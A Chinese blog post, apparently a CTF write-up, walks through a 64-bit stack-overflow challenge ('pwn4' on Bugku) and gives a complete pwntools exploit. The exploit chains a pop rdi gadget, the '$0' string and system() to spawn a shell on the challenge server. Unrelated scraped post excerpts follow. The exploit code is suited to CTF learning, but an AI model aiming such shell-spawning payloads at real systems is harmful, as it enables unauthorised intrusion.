暑假訓練pwn 4 不能被落下太遠額

2021-09-25 17:52:56 字數 1029 閱讀 4167

今天做的是一道bugku的pwn題發現好多都是64位的…可能寫的不太好但重在自己去理解

64位的好難不會做,pwn4,這是乙個明顯的棧溢位,然後我們沒有』/bin/sh』額額我是用了

strings -a -tx pwn4|grep 『』/bin/sh" 用了ropgadget無果後直接查詢發現"$0"可以代替它無語了,然後就是構造rop鏈了很簡單這道題

我們找到system函式的位址跳到它然後再找到"$0"的位址用pop rdi | ret 鏈起來就可以了

找字串可以這樣 ropgadget --binary pwn4 --strings 『/bin/sh』

32位的函式傳參是用的棧,然後64位函式傳參用的是暫存器(7位之前)rdi、rsi、rdx、rcx、r8、r9來傳參

最後給上exp:

from pwn import *

def pwn(ip,port,debug):

if(debug==1):

p=process('./pwn4')

elf=elf('./pwn4')

else:

p=remote(ip,port)

offset=24

system_addr=0x000000000040075a

print system_addr

gadget=0x4007d3

bin_sh=0x000000000060111f

payload='a'*offset+p64(gadget)+p64(bin_sh)+p64(system_addr)

p.recvuntil('come on,try to pwn me\n')

p.sendline(payload)

p.interactive()

if __name__=="__main__":

pwn('114.116.54.89',10004,1)

```還有為什麼我用elf.symbols['system']找出來的函式位址不對~~~~

暑假訓練總結 SSL暑假訓練總結

第一周過的還算好吧,覺得飯堂伙食也挺好的,同學也挺好。學習的東西感覺比小學難好多,有種覺得以前學的東西太簡單了的感覺,但多虧了小學的時候基礎打得還算紮實,學得還行,但總是感覺自己就是個菜雞,就是乙個蒟蒻,哎,室友真的太強了。第一周總結 第二週自我感覺挺不錯的,總算追上了部分室友,成績也開始 這一切都...

pwn 暑假複習三 libc洩露

ctfwiki 例一 ret2libc2 拿到程式checksec檢視 沒什麼問題 原始碼int cdecl main int argc const char argv const char envp 查詢可以用的gadgets,先看有沒有 bin sh 事實證明,沒有 看看有沒有system,我們...

暑假訓練隨筆

七月的流火好像還在灼燒著上海,八月的微風已稍有顯露 好吧。不扯了。現在多校訓練已經進行到一小半了,但是自己賽場上做不出來好氣,比賽完補題不會更生氣,就這樣迴圈往復過了半個暑假了。哎,每個學期開頭都是雄心壯志要好好做人,結果到了後面總是難有乙個好的結果。想想acm對我也差不多有了兩年了,大一的什麼都不...